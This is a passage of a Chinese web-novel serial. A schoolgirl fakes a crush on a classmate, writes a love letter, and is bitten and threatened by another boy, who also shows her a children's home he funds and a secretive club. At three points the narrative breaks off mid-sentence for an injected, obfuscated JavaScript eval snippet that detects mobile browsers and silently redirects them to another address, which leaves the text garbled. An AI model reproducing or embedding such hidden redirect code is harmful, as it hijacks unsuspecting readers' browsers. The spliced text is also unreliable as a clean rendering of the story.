她才刚把磁带机的耳机挂在耳朵上,就看见宋长乐突然从床上弹射起身,瞪着个眼睛不可思议地看着手里的漫画书。 宋长乐常有看漫画把自己看激动的时候,不足为奇,茉莉刚要躺下,就见她一个冲刺坐到自己身边,拍着她的肩快速地喊着:“我去我去!茉莉你好家伙,连我都骗,贺哲是谁,为什么漫画书上有他的名字?你跟男生出去的?” 本来还在预习的其他两人听到此话,也都转回了身子,震惊地看着茉莉。 茉莉怔了怔:“啊?” 李青青离得近,挪了个屁股就瞬移到宋长乐身边,拿过漫画书核实了一遍,皱着鼻子:“我天,贺哲?” 连刘曦这不爱凑热闹的都伸个脑袋过去看,惊得眼镜都差点掉下来:“还真是。我有个朋友在十班,经常借他的漫画书看,贺哲习惯在漫画书上写自己的名字,以防混淆拿不回来。” 这漫画确实是她从贺哲手上拿的,毕竟从游戏厅出来时书店都关了,游戏厅刚好有些漫画,她还以为是游戏厅租借的,没仔细看就拿回来了。 这漫画原来是贺哲放在那边的吗? 她的大脑飞速运转,想着措辞。 “贺哲是谁?”宋长乐刚进学校,又不经常闲逛,自是不知道贺哲是谁。 “一个少爷,家里有钱有势,可以说仅次沈家,沈悸没转来前在附近混的风生水起,转来后据说是打输了,跟沈悸成了哥俩。”李青青回答道。 “跟沈悸关系好?”宋长乐想了想,“开学典礼那天我好像在食堂看到沈悸了,不过当时没怎么确定,是跟他坐在一起的吗?” “是个寸头,个子很高,一米九三那样,长得也还可以,不过因为品性风流,还有些凶相,就算有恋慕的女生也没几个有胆子去表白的。”刘曦扶扶眼镜,眼中燃起八卦之火,“听说他之前喜欢林楚儿,结果人家没搭理他,后来沈悸转来,他不服气林楚儿喜欢沈悸,于是才跟他干的架。” “真假的,这么狗血?”宋长乐听得来了劲,嘴笑的合不拢,她又晃晃茉莉,调笑道,“你怎么回事,从实招来,难道出去是跟人约会去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337132|165404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 茉莉还在思考借口,支吾着:“这个……额……” 早知道就提前翻一翻了,她总感觉是贺哲故意使坏。 算了,她干脆破罐子破摔,老实承认:“是,我其实溜出去是为了见他。” 三个女生瞬间将她团团围住,嘴角斜的不成样子。 “快说,你们干嘛了,为什么跟他突然好上了,坦白从宽!”宋长乐张牙舞爪,手指跃跃欲试,明显就要上酷刑。 茉莉怕被挠,连连后退,装作不好意思地垂眸:“这个……我前段时间在篮球场上看到他打篮球,觉得有些帅……” “所以呢,你那天课间火急火燎的出门,就是为了约他?”宋长乐问。 “我去问了他的兄弟,似乎叫胡振,他跟我说贺哲喜欢看漫画,会经常去书店看漫画……” “然后你就溜出去,看看能不能‘偶遇’了?”李青青摸着下巴,探究地眯了眯眼。 “是呀。”茉莉很诚恳地点头,“恰好就碰见了,我假装说自己对漫画很感兴趣,就跟他聊起来了,我说我想看看最新刊的‘漫客’,但是没货了,他就把他的借我了。” 她拿被子紧紧蒙住脸,“我以为天衣无缝呢,谁晓得他还有这样的习惯。” 宋长乐遗憾地啊了一声:“我还以为你喜欢沈悸那样的呢,怎么跟我上次看的言情小说一样,软妹都喜欢校霸吗?” “是啊,学校人气最旺的还是沈悸那样的,温柔斯文。”李青青附和。 “那你接下来打算怎么追?”刘曦问。 她才不会喜欢其中任何一个,一个内外不一,一个看起来就不是好人。茉莉暗自吐槽。她想了想,反正事已至此,不如照着演下去,说:“我不知道诶,我第一次追人。” 先从周围人开始浸染,她跟贺哲约好了,演一出戏码,故意装作喜欢贺哲,从这点开始突破,虽不知道他所说“自己是沈悸软肋”这点是否为真,但试探下来就一定能看出来。 还有那个秘密。 贺哲没一次性告诉她,看起来是怕她反悔或者不配合,他表示只有看到她的行动才会一点点告诉她。 不过能知道那家游戏厅是一个突破口已经是很大的进展了,接下来只要在闲时潜入调查,就算没有贺哲,她应该也能知道一些东西。 她还在假意苦恼,三个女孩子已经开始为她出谋划策,一个比一个大胆,听得毫无人事的她脸红心跳。她捂住乱乱的心跳,不住地摇头:“不行不行,简直离谱,我没办法做到这样。” “言情小说都这样写的,你看哦,你本来就好看,随便示个弱,撒个娇,谁的心都要化成水了。”宋长乐干脆把自己看的那些闲书里所有的套路都举了个遍,“他不是喜欢打篮球,你就给他送水,提前准备好包扎用品,等他受伤机会不就来了?” “不不不,这样实在太慢了,万一人就是不受伤呢。我说,你就抱着书在他必经之路上等着,一来就撞上去,假装两眼汪汪。”李青青把宋长乐的提议摁下去,自己提了个馊主意。 “我说不如写一封情书,就夹在漫画书里面,然后不写署名,人家看了必会好奇你要写给谁,到时候他自己就会来找你。” 刘曦说了个听起来靠谱些的注意,茉莉思来想去,最后接受了最后一条的建议。 “情书吗,可我不会写诶。” “来来来,这下言情小说不是派上用场了吗?”宋长乐立马翻身去床铺下面翻了一堆言情小说出来,兴致勃勃地翻开,“看,这是女配写给男主的。” 话语实在大胆,什么“我想你想到夜不能寐,食不知味”“每次碰见你,我的心就七上八下”……恶俗的要命,茉莉甚至能想到贺哲拿着那情书嘲笑自己的模样。 “不行不行。”茉莉推开那些书,脸颊红扑扑的,“这都是什么,我写不了。我自己来,你们都走都走!” 三个女生相视一眼,奸笑着回到了各自的床铺上。 “记得写出真情实意,我们等你的好消息!”宋长乐斜靠在枕头上甩了个媚眼。 知道了知道了!茉莉挣扎着爬到书桌前,拿出纸笔开始写人生的第一封情书。 她实在没想到人生第一封情书竟然是写给贺哲那样的人的。 不过。她闭了闭眼,握着笔写出了一行行娟秀的小字。 为了自己和家人,她什么都可以做到。 弯月在看不见星星的夜里高高悬挂,苍白的台灯下,茉莉边写边停,写了整整三遍后,她才确定了最终一版。 终于画完最后一个句号,茉莉松开笔,伸了个大大的懒腰。 好了。接下来塞进漫画书里带给贺哲就行了。 她侧目瞥了一眼宋长乐,宋长乐的脸上盖着漫画书,不知何时已经睡着了。 宋长乐的睡相实在不算好,两腿叉着,被子踢得乱七八糟。拿走漫画,茉莉轻轻把她的手脚放好,又小心地拉着被子盖上,蹑手蹑脚地回到床铺关了台灯。 29. 嫉妒 次日。 茉莉手里拿着漫画书,在十班的转角处卡住了。 身后,三个女生猫在墙后偷偷窥视。 “快去啊,茉莉,快上课了。”宋长乐小声地催促。 “好不容易有节课不拖堂的!”李青青立马附和。 “都到这一步了,昨晚的夜不能白熬。”刘曦点头。 她觉得自己像是疯了才会真的听刘曦的建议写情书,又听着她们的煽风点火来了十班。 没事,她拍拍胸脯,演一场戏而已,而且她是来还书的,只是来还书的。 稳定好自己,茉莉迈出了第一步。 或许是心虚,她的感知比平时更加敏锐,总觉得周围的人都在看着她。她努力不让自己在意,走到十班的后门处望了一眼,贺哲刚巧不在位置,不能给完就跑。 再看一眼,胡振也不在。 没办法,她只能敲敲门,礼貌地喊着不远处的另个男生:“你好,可以帮我把书放到贺哲座位上吗?” 男生耳稍泛红,窝着肩走过来。 正要递交漫画书,左耳却听见一丝轻笑:“真巧,你怎么也来找贺哲?” 声音触及到潜意识里的抗拒,茉莉抽回手,侧身看了回去。 沈悸站在前方,脸上依旧挂着礼貌的微笑。他扫过茉莉手上的漫画,又看回茉莉:“贺哲的?” “是。” “哦?”他微微歪头,薄唇抿成一条直线,“我不记得你们的关系有那么好。” 茉莉刚要开口,忽而手里一空—— “当然了,沈哥那么忙,怎么会了解那些小事。”视线回探,贺哲不知何时站在了后方,眉梢微扬,似笑非笑地看着沈悸。 沈悸眸色一压,“是吗?” “是啊,就是借个漫画而已。沈哥有什么顾忌吗?”贺哲晃晃漫画,散漫道。 “当然没有。”沈悸的脸色越来越沉。 贺哲挑眉:“那就可以了。” 周围人迅速避开两人,之中的茉莉不敢抬头,压迫感压得她几近喘不上气,她平着气息,匆匆说了句:“东西送到了,我先走了。” 说完,她迅速离开了现场。 贺哲见她走远,眯眼打了个哈欠:“哈~沈哥,找我什么事?” 沈悸重新摆好笑容,眼中却夹带阴鸷:“没事,就是听说你昨天去街机厅了?” “是啊,闲来无事去打打游戏,顺便……”贺哲笑了一声,低语道,“替你看着脏活。” 上课铃不适时的响起,贺哲摆摆手:“好了,进地狱听魔鬼呢喃了。” 他刚走一步,却听到一声细微的刮擦声。 低头,一个白色的信封掉落在脚边。 - 情书的事情到底还是传开了,走到哪里,茉莉都能看见好事者对情书的事情窃窃私语 她早就料到贺哲那个不靠谱的会把事情抖露开,所以特意没在情书上署名,其他人只知道有一个胆大的女生把情书夹在漫画里递给贺哲,不知道确切是谁。 虽然有人猜疑是她,但因为她几乎和贺哲没有什么交集,也无法想象她那样品学兼优的漂亮姑娘会喜欢贺哲那样的刺头,所以最多就是嘴上说说,谁也不敢真的上去询问。 其他人可以被糊弄,但沈悸不会。 她故意放学时在篮球场逗留,假意去看贺哲打篮球,实际是在暗中观察一旁的沈悸。 她无视沈悸从篮球场内投来的目光,磨磨蹭蹭地在贺哲的包边留下几瓶水和创口贴,然后离开。 不知道是不是因为故意无视,从第二天开始,茉莉总能在一些不经意的地方看见沈悸的身影。 先是食堂,然后是放学回宿舍的路上。 他总在最角落,可出挑的外表却总能让他成为聚焦的中心。那双猫一般的眼睛总是慵懒地眯着,隔着镜片盯着哪里。 要是自己不小心对上视线,他便像餮食的野兽,牢牢抓住,不让自己有机会逃离。 效果显著,她成功的惹恼了沈悸。 茉莉尽可能躲着避着,跟着熟人一起走,不让自己落单。 一天周末,她收到了来自贺哲的短信,要她去距离不远的图书馆里找他。 这次约定地点在图书馆,茉莉有些不解,但有了前车之鉴,他带她去的地方一定有着什么秘密。 最近的温度急转直下,在偏南的安城都能看见趋近零度的气温。 茉双季特地给茉莉寄了钱,让她自行去买过冬的衣裳。 茉莉翻出上周末刚买的新衣,对着镜子来回比对,一边问着宋长乐:“哪个好看?” 宋长乐揶揄地看着她:“哟,收拾那么好看干嘛去啊?” “去去去,我就是刚买了新衣服臭美而已。” 宋长乐挑了件高领毛衣和一件褐色驼绒大衣扔给她,又捡了条米色休闲裤,说:“就这样穿,包好看的。” 茉莉听话的穿上,走到镜子前。 少女身形姣好,高领毛衣包裹的玲珑有致,大衣一配显得婉约而稳重,米色休闲裤又显得色调统一,怎么看都像漫画女主角。 宋长乐咂舌:“不错,但还少点东西。” 她翻箱倒柜了一会儿,拿出了一条咖色格纹针织围巾。 “这不是你上回买的吗?”茉莉问,“我记得还挺贵的,你还一次都没带过呢。” “是啊,本来就想在圣诞节送你的。”宋长乐笑嘻嘻地围在她脖子上,“你忘了吧,今天是圣诞节呢。” 圣诞节?茉莉看了看手机日期。 她没在乎过洋节,能记住的全是传统节日,怪不得宋长乐一脸揶揄,原来是觉得自己要出去约会。 她有些感动:“我还什么都没准备呢……” “没事没事,我还懒了,本来想自己织的,到最后不还是没赶上买了一个。”宋长乐把围巾系好,替她把鬓角的发梳到后面,用一个发卡卡住,“反正后面节日还多呢,你到时候再还礼也不急啊。” “谢谢。” “跟我客气什么。”宋长乐看了看自己打扮好的茉莉,满意地直点头,“可以了,快去吧,记得给我发捷报啊。” 茉莉还想解释,宋长乐不由分说地把布包挎在她身上,给她推了出去。 茉莉一阵语塞,但宿舍门已经被关上,她只好往楼外走。 边走着,她想起了父亲,拿出手机开始给父亲发消息。 快到跨年了,她想跟父亲一起过。信息发送过去很快就收到了回复,父亲很开心的应了下来,并表示一定会提前请假去找她的。 看到信息,茉莉心满意足地熄灭屏幕,步伐都变得轻快起来。 宋长乐重回床铺上休憩,刚躺床上翻开漫画书,手机就滴滴滴的响起来。 她以为是茉莉,打开社交软件一看,竟是沈悸发来的消息。 沈悸:请问茉莉在吗?我给她发消息没回。 宋长乐:她估计没联网,刚走,劝你快些哦,不然要被别人捷足先登了。 手机屏幕弹出消息,车内的少年隔着窗户阴沉地看着那个身影走出学校。 - 走在街上,周围的店铺果然挂上了彩灯,门口摆着圣诞树,小雪花装饰晶莹剔透地反着光,灿烂明亮。 茉莉边看边想。 既然是节日,应该带些伴手礼会礼貌些吧。 她只知道平安夜要送苹果,但不知道圣诞节该送些什么。 她大概清楚送宋长乐什么,宋长乐一直想要一本画册,而今天去图书馆刚刚好能去帮她买了。 那贺哲呢? 贺卡有些普通,小卡片一送反而更像自己有所谋一样。 保暖用品呢?不太行,像贺哲那样的少爷应该不缺那种东西。 漫画书?但他既然约在图书馆,自己再去送反而多余。 想了半天,茉莉最终买了五只圣诞树形状的小蜡烛作为礼物,三只给室友,一只给自己,一只给贺哲。 模样小巧可爱,还是香薰蜡烛,即使不用也可以摆着当摆件,一举两得。 图书馆不远,两条马路一过就能看到,图书室共有三层,第三层是一个自习室,有许多年纪相仿的学生在此处学习。 上下都逛了逛,茉莉没看见贺哲的身影,试着发了个短信,没回。她关掉手机,学着旁边白领的模样去买了杯咖啡,然后选了几本书坐下。 来都来了,干脆自习一会好了。 她没尝过咖啡,闻了闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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即便有伤,也不妨碍他的模样俊朗,反而多了一丝痞气。 他本就长得很是清俊具有欺骗性,如今那一双眸变得更加蛊惑,几乎让人不能把他和他此时揪着人衣领的举动联想到一处。 沈悸挑了挑眉,眸中带有讽意,他没松手,偏头看着茉莉:“能听见啊,我以为你是聋的。” 他的目光极具侵略性,毫不遮掩地在她的身上游走,茉莉被看的难受,避开视线,语气加重:“松手。” “呵……”沈悸嗤笑了一声,松开了那个人,毫不在意其他人的目光,擒住她的手腕就往别处走。 她来不及挣脱便被他拽着躲入了两个书架之后。 她被甩到书架上,那人欺身压了过来,距离已过界限,右手困住她的去路,藏匿在帽兜下的脸色阴晴不定。 “做什么。”茉莉冷静地看着阴郁的沈悸,绯唇轻启。 “做什么?”金边眼镜被卡放在领口,平时不常显露的戾气刹那间释放,威迫着她,“先是沈南风,然后是贺哲?你品味真是越来越低下了。” 意识到他是恼羞成怒,茉莉感到一阵好笑:“怎么?不可以吗?” 沈悸越发狠厉地盯着她,浓黑的眸里是一片骇人的愠色,“你喜欢他什么?” “喜欢有什么理由。”茉莉问,“我一定要回答吗?” 话音刚落,对方就毫不犹豫地将她的下巴狠捏抬起—— 狠狠地,咬在了她的脸颊上。 “!”疼痛瞬间肆虐,她惊乱地推上沈悸的肩膀,对方轻易地被推开,嘴角渗着红色。 “我比他好,试试我?”沈悸挑衅地轻瞥一边——贺哲站在过道处,眸光冷若冰霜。 他抹去唇角的血色,拿过茉莉头顶的一本书,又慢慢垂头,极为亲昵地在她的耳畔呢喃:“住校了,对父亲的了解就不那么够了吧。” “现在他在沈氏下面当司机呢,是我亲自叫人去请他的。”他把书放在茉莉的手上,拿走她手里的蛋糕,嘴角带笑,“你父亲可高兴了,毕竟这样稳定的工作任谁都心动吧。” “做些小手段,吃个牢饭还是轻松的。” 他威胁道,字字沉重,“你最好别再动什么歪心思。” 痛意顷刻间消散,茉莉逼视着沈悸,喉头变得干涩难以出声。 沈悸缓步离开,将手里的蛋糕扔进垃圾桶,经过贺哲旁边时,他弯了弯唇角。 “贺哲,小手段对我可不管用。” “别忘了,你的把柄也在我手上。” 30. 压抑 声音压得很低,只有贺哲能听到。 贺哲的脸色难看了一瞬,狠狠剜视沈悸。 “没关系,你可以全部告诉她,不过,我们先前的约定,那就看我心情了。”沈悸愉悦地微微颔首,从口袋里掏出磁带机的耳机扣在耳朵上。 “沈悸。”贺哲眼神阴鸷,恨不得当场把他剥皮抽筋,“别动她。” 沈悸根本不在意他的怒焰,偏头去叫茉莉:“过来。跟我走。” 茉莉用力擦去脸颊处的血痕,眸光低垂。 她的倔强告诉她不能去。 但掌心的那张被冲印下来的照片又强迫她只能跟随。 还有沈悸的威胁。 她努力让自己平复情绪,不让自己失声大叫出来。她把那张照片狠狠攥成团,忍气吞声地走至沈悸身边,嗓音嘶哑:“要我去哪?” 沈悸满意地揉揉她的头,擒住她的胳膊往外走。 临走时,他不忘丢给贺哲一句话:“别再试图惹火我。” 话里话外都是挑衅,但把柄在人手,贺哲只能紧咬牙根,重重地低下头。 连拳头都无法攥紧。 被强制带出图书馆,沈悸将茉莉拉到一辆黑色的轿车前,替她打开车门,谦逊至极地将手覆盖在车框上,“请。” 这种装模作样茉莉看的直犯恶心,她木着脸上了车,沈悸随之跟上,边拉下前后座的格挡边说:“去淮桥路。” 司机应了一声,启动车子前往目的地。 车子十分高档,连座位都是真皮定制,铺着看起来十分名贵的皮草,让人坐的十分舒适。 车内自带雪松的熏香,明明让人闻的舒适放松,可茉莉却始终神经紧绷,怎么也松懈不下来。 沈悸打开一个置物箱,从里拿出了一个创口贴给她:“贴上。” 她看着那创口贴,讥讽出声:“我哪里敢接,果然是成了大户,座驾都那么高端。就不怕我脏了少爷的座驾?” 沈悸闻声笑了,反唇相讥道:“哪里,茉莉花怎么会嫌泥土轻贱呢,毕竟你可是当着我的面选择了更脏的贺哲。”他拿走创口贴,撕掉包装,直接贴在她的唇角。 “你也知道自己像烂泥巴?”茉莉争锋相对,向来柔和的眼眸此时变得冷冽,“拿家人来威胁别人,果然只有你这种人能做得出来,我爸爸对你仁至义尽,你全都忘了吗。” 她不理解。 不理解为什么沈悸要一而再再而三的纠缠,不理解他为什么总要触及她的逆鳞。 她承认,承认在过去真的有想依赖过沈悸。但她也在沈悸最落魄难堪的时候,尽过最大的仁义去帮助,就是希望他能够明白他们之间足够两清。 反而一切到了头,成了农夫与蛇的故事。 她是愚笨的农夫,妄想将一只冷血无情的蛇以暖融化。 沈悸看到她眼中濒临的崩溃,喉结微滚,忍不住伸手想要抚摸她的发。 少女冷漠地躲过,撤开了一段距离,“别碰我。” 距离很短,只要他伸手一勾就能勾回她。 他没那么做,而是坐回椅背,双腿交叠,漫不经心地从口袋拿出了什么,扔在了她的腿上。 茉莉瞟了一眼,是个耳机。 “戴着,听一会就不烦了。”他把另一只挂在耳朵上,mp3在指间把弄,点了个什么后熄灭屏幕,一手搭在车窗上托着下颚,“今天好好陪我,我考虑一下把纸条给你。” 茉莉用眼角斜瞥了眼他,手捏着那半只耳机纳闷,不知道他此时又在动什么心眼。 她此时只有以退为进,既然给了台阶那就下,总比惹怒他干出更过分的事情好。 把耳机挂在耳上听了一阵,她忍不住又摘下,脸色难看:“你这听得什么,念经?” “《道德经》。”沈悸十指交扣叠放在腿上,抬眉扫了一眼,“不好听?” 茉莉难以置信:“你没事听《道德经》?” 想起来沈悸经常有随身携带磁带机和mp3的习惯,总在空闲时就把耳机挂在耳上,磁带机可以理解,一般都是听英语磨耳朵的,她也经常这么干。 可这mp3是什么情况,不是用来听歌的吗,这家伙用来听《道德经》?那么爱学习? 沈悸略显无辜:“不觉得很熄火吗?你不爱听的话,还有《三字经》、《清心经》……” 茉莉立马止住他:“停停停,《道德经》可以了,别播其他了。” 确实熄火,熄的她一点脾气都没,还有些想睡觉。 她侧躺面对着窗,车窗外的景色和耳朵里呆板的诵读声形成鲜明分别,倦意很快涌上心头,她没耐住困意阖上了眼。 苏醒时,她发现自己的视角是歪的。 她有些犯迷糊,嘤咛着揉揉眼,沈悸的声音顿时在额上响起:“醒了?” 意识到什么,她如被电触了一般弹起,慌乱地梳梳头发,不安地盯着沈悸。 沈悸依旧正坐在那,只是外套有些乱,他拉拉衣服,动了动酸涩的肩膀:“等你好久,肩膀都酸了。”看到茉莉一脸警惕的模样,他扯开笑容,“睡相挺安静的,比我想象的要好。” 真是一刻都不能松懈。茉莉嫌弃地撇开脸,看向窗外,“嗯?福利院?” 安城福利院的牌子挂在铁门旁边,大门大敞,院内有许多小孩子正在玩耍。茉莉一阵纳闷,越发不理解沈悸的行为。 “走吧。”沈悸打开他那侧的车门下了车,他敲敲司机的车窗吩咐了什么,然后阔步走到福利院门口等待茉莉。 虽然不懂他的行为,但好歹是个正规场所,不是什么乱七八糟的地方,应该没什么危险,如此想着,茉莉跟着下了车。 福利院的院长收到了消息,笑容满面地带着两个保健员前来门口迎接。 沈悸微笑着伸手:“孙院长,许久不见了,看起来又硬朗了” 孙院长已过年事,鬓发斑白,却还是双手迎合还是小辈的沈悸,满脸堆笑:“没有没有,还是糟老头子一个。” 跟其他两个保健员握完手,孙院长和沈悸便去办公室里商讨事宜了,原地只留下茉莉和两个保健员。 其中一个年轻的保健员藏不住事,凑到她身边悄声问道:“你是沈少的女朋友吗?” 怎么会有这样的误会,茉莉连声否认:“不是,不熟,不可能。我跟他都是高中生,怎么会谈恋爱。” “啊,沈少还是高中生吗?”那个女保健员震惊地捂住嘴,眼中似乎还有几分沮丧。 觉察到关键,茉莉问:“你们都不知道沈悸是高中生?” “不知道啊,还以为起码大学了呢,没想到这么小就开始做公益事业了,实在是年轻有为啊。只可惜……太小了……”女保健员难过的嘟囔,显然,她对沈悸是有些好感在的。 茉莉捡到了重点:“公益?” “是啊。”女保健员点点头,语气中充满艳羡,“他一直在资助福利院,之前福利院濒临倒闭,是他出资才维持住的,不仅如此,他还帮扶福利院里的孩子上学呢。” 茉莉听得发愣:“……是这样吗?” 沈悸那样的人会去资助福利院里的孩子? 实在联想不到,她索性放弃思考,远眺那些在院里玩耍的孩童。 之前有在杂志上了解过福利院的困境,其实福利院的维持非常艰难,许多孩子到了适龄阶段连学也上不了,衣服穿的也是各界爱心人士的捐赠的,设施条件也很简陋。 但看安城福利院,孩童脸色红润,衣服得体合身,环境不能说非常突出,但那些防跌倒扶手和健身设施足以看出资助者的用心。 “这真都是沈悸资助的?”她不禁发出疑惑。 “真的啊,来看这边,福利院的公示板,上面有福利院前后对比的照片。”女保健员带她来到公示板前,指着其中一块说。 茉莉顺着照片往下看,福利院前后天差地别,可以说基本都翻修了一遍。再往下,她看见了一张福利院孩童的集体合影。 穿着白衬衫的沈悸被孩子们围在最中心的位置,笑容和煦,可那双浓墨般的眼睛却吸收掉所有的色彩光芒,黯淡无比。 要是与沈悸不相熟的话,谁人都会觉得他眼中蕴满的是抹不去的忧伤,似乎有一段不可言说的悲惨过去。 她忽然就懂了,那mp3里莫名的《道德经》。 她太明白那是什么了。 那明明就是他压抑不住的阴翳和扭曲,是他无论听多少次《道德经》都洗涤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351619|165404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不掉的污浊。 她不屑地扬起嘴角。 旁人以为她是被沈悸感动,只有她自己知道,她在嘲笑沈悸的自我沉浸。 一个没有道德三观的人,妄图靠《道德经》来获取片刻的,虚假的高洁。 实在是太好笑了。 她还在看,忽然间,一阵若有若无的牵扯感自衣角传来,低头,一个穿着红裙子的小女孩正忽闪着大眼睛好奇地看着她。 小女孩拉拉她的衣服,讷讷地问出声:“姐姐,你是沈悸的女朋友吗?” “小萱,礼貌些,怎么能这样问呢。”女保健员小声地责备,有些不好意思地对茉莉说,“抱歉,小姑娘有些早熟。” “沈悸从来不带人来的,就只带了这个姐姐来嘛。”小萱显然不服气,嘟着嘴不高兴地说。 茉莉觉得小姑娘可爱,蹲下身子捏了捏小萱的小脸蛋子,略带教训地口吻说道:“我跟沈悸只是同学关系哦,还有,要喊比自己大的人哥哥。” 小萱的头摇的像拨浪鼓,反驳道:“不是的,是沈悸要我们都喊他的名字,不让我们喊他哥哥。” 茉莉诧异了一瞬,旋即看向女保健员。 女保健员点点头,回答道:“是的,他自己本人要求的,说是自己从前没有朋友,让大家不用顾忌年龄差把他当成同辈的好朋友。” 不让人喊哥哥?沈悸的行为越来越让人难以揣测了。 不过,确实符合他那种莫名其妙的性格。 她问:“沈悸对你们好么?” “很好啊,他时不时就会来陪我们玩呢,还总带好吃的好玩的!”小女孩模样雀跃,眼里都是憧憬,“长大了我也要当这样的好人,帮助更多和我一样的小朋友!” “——在聊什么?” 回头,是沈悸。 他已经谈完了事宜,无声无息地站到了背后。 小萱看见沈悸,开心地拥了上去:“沈悸沈悸,上次说好带大家去游乐园的,我们什么时候去呀?” 沈悸蹲下身子,替小女孩把乱掉的头发挽到耳后,温柔道:“明天叫保健员哥哥姐姐们陪你们去,可以吗?” “你不陪我们去吗?”小萱问。 “大朋友还有事情呢,恐怕没时间。”沈悸耐心地回答着,变戏法似的从掌心变出几块水果糖,“糖果,还有一些在车上,你先偷偷拿着吃几块,千万别被其他人发现啦。” 小萱的眼睛瞬间放光,悄摸摸地把糖果塞到口袋里,拢着手凑到沈悸耳边窃窃私语。 不知道他们说了些什么,只能看见沈悸的眼睛微微眯起,那是他愉悦的表现。 小萱蹦跳着离开,沈悸也站起了身。 他探向茉莉:“跟我去把后备箱的糖果搬下来吧,上次跟他们约定要一起去游乐园,现在要失约了,总得补偿一下。” “哦。”茉莉应着,跟他一起去搬送糖果。 一打开后备箱,茉莉那刚对他正面一些的好印象瞬间烟消云散,她黑着脸剜向沈悸:“你确定只要我们两个?” 沈悸把箱子抬到她手上:“嗯呢。” 手里一沉,她差点失手把箱子摔地上。 嗯呢? 什么意思啊,一整个后备箱塞满了纸箱子,足足六大箱,搬起来都费劲,还只喊了她一个来?那么多保健员是看不见吗? 茉莉:“沈悸,得饶人处且饶人。” 沈悸略显委屈地眨眸:“你不愿意给孩子们搬糖果吗?” 茉莉:“……” 搬,她搬。 抬孩子们,他还真会道德绑架。 茉莉只能一趟一趟搬运糖果,把箱子全都搬完后,她气喘吁吁地靠在墙边擦拭薄汗。 一阵冰凉的触感触及脸颊,激的她后撤一步,匆匆瞥回,沈悸拿着一瓶冰镇的矿泉水看着她笑:“给你,累了吧。” 茉莉没接:“不累。” 本来是累的,但看孩子们天真无邪的笑容,她的疲惫也不算什么了。 或许早意料到会被拒绝,沈悸拧开瓶盖独自喝了一口,又看了一阵,说:“奖励你给孩子们搬糖果,我带你去个地方。” “去哪?” 沈悸拉开车门:“你待会就知道了。” 31. 把柄 车子往反方向行驶,街景变得愈发熟悉,最后,停在了最初的起点——图书馆下。 茉莉纳闷地蹙眉:“你又要干嘛,闲的没事来买学习资料?” 沈悸慢里条斯地把眼镜戴上:“我觉得你不该那么笨。” 茉莉语塞。确实。刚开始贺哲约她来图书馆的时候,她就觉得这一定藏着什么。 但应该跟图书馆无关,真正的秘密是藏匿在市图书馆之下的哪里。 那他就更不应该带自己回来这里了。 越来越想不通,她干脆地问:“所以,你是想告诉我什么?” 沈悸认的果断:“你不是想知道吗,我全都告诉你,不必再不去找贺哲了。” 茉莉藐视着他:“你这是什么?自投罗网?” 沈悸扶了扶眼镜,修长的手指放置在车门把手上:“是啊,我自愿投你的网。” 从车上下来,天色已暗,圣诞节的氛围一下浓郁起来,四周响着欢快悦耳的圣诞曲,彩灯层层叠叠地环绕,与霓虹和路灯交相辉映,璀璨烂漫。 晚上的气温更低,即使裹着大衣也觉得有些寒凉,尤其是露在外面的手,□□燥的冷风刮得干疼干疼的。女孩子都有些体寒,茉莉更是典型,在车上还好,有暖气,这一下来就直发凉,怎么都捂不热。 茉莉有些后悔,全身上下都齐全,就是忘带了手套。 没办法,她只能不断搓手取热。 她下车时没看沈悸,在路边站了半天也没见沈悸过来,疑惑着,她侧目往后看去。 没看见沈悸,手腕倒是被另一只微凉的手握住,紧接着,便是什么软乎乎的东西套在了手上。 沈悸站在面前,微微颔首,认真垂眸替她戴上手套。 她一看,是个有圣诞树娃娃的连指手套。 她下意识地想脱掉,但手上确实需要这个东西,斟酌之下,她选择把另一只手套拿走,自行戴在手上。 她的手本就小,再戴上那连指手套显得更像个小朋友,沈悸悄悄抿唇,伸出手拉住她的,强硬地带着他穿梭在人群之间。 隔着手套,她勉强接受了这个牵手。 沈悸一直走在前方,在拥挤的人群中为她开出道路,避免其他人挤到她。 她注意到了,但她心如止水,丝毫没有任何被温暖的动摇。 她被拉着拐进一座大楼,然后往负一层走,穿过地下车库,一直停在了一家健身俱乐部前面。 沈悸停下脚步:“到了。” 茉莉看了一眼,健身俱乐部的门头很小,小到看起来跟学校门口的小店一样,看起来就是不想引人耳目一样。 奇怪的是,如此之小的店面门口,却划出了一大块私人停车的区域,里面停满了名贵的轿车,派头很甚,跟门头极不相符。 不过,如果是跟沈悸有关,她又不觉得奇怪了。 门口坐着一个穿着保安服的男人,见到沈悸,他立刻站直身子点头哈腰:“沈少好。” “嗯。”沈悸淡淡地应了一声,保安迅速拿出门卡扫开门禁,为他打开门侧身让开。 沈悸将她拉到身边:“跟紧我,不要乱走。不然,我可保证不了你的安全。” 语气很严肃,不像是开玩笑。再想着门口的门禁和停车场,茉莉越发觉得好奇。 沈家到底还藏了些什么,难道会比街机厅更加黑暗吗。 疑惑着,她走进了俱乐部内。 俱乐部里的色调都是黑色的,头顶是暖黄的射灯,进门先是能看到一条长长的走廊,走廊的地板和墙面都铺着厚厚的隔音棉,像极了KTV里才能看到的装潢。 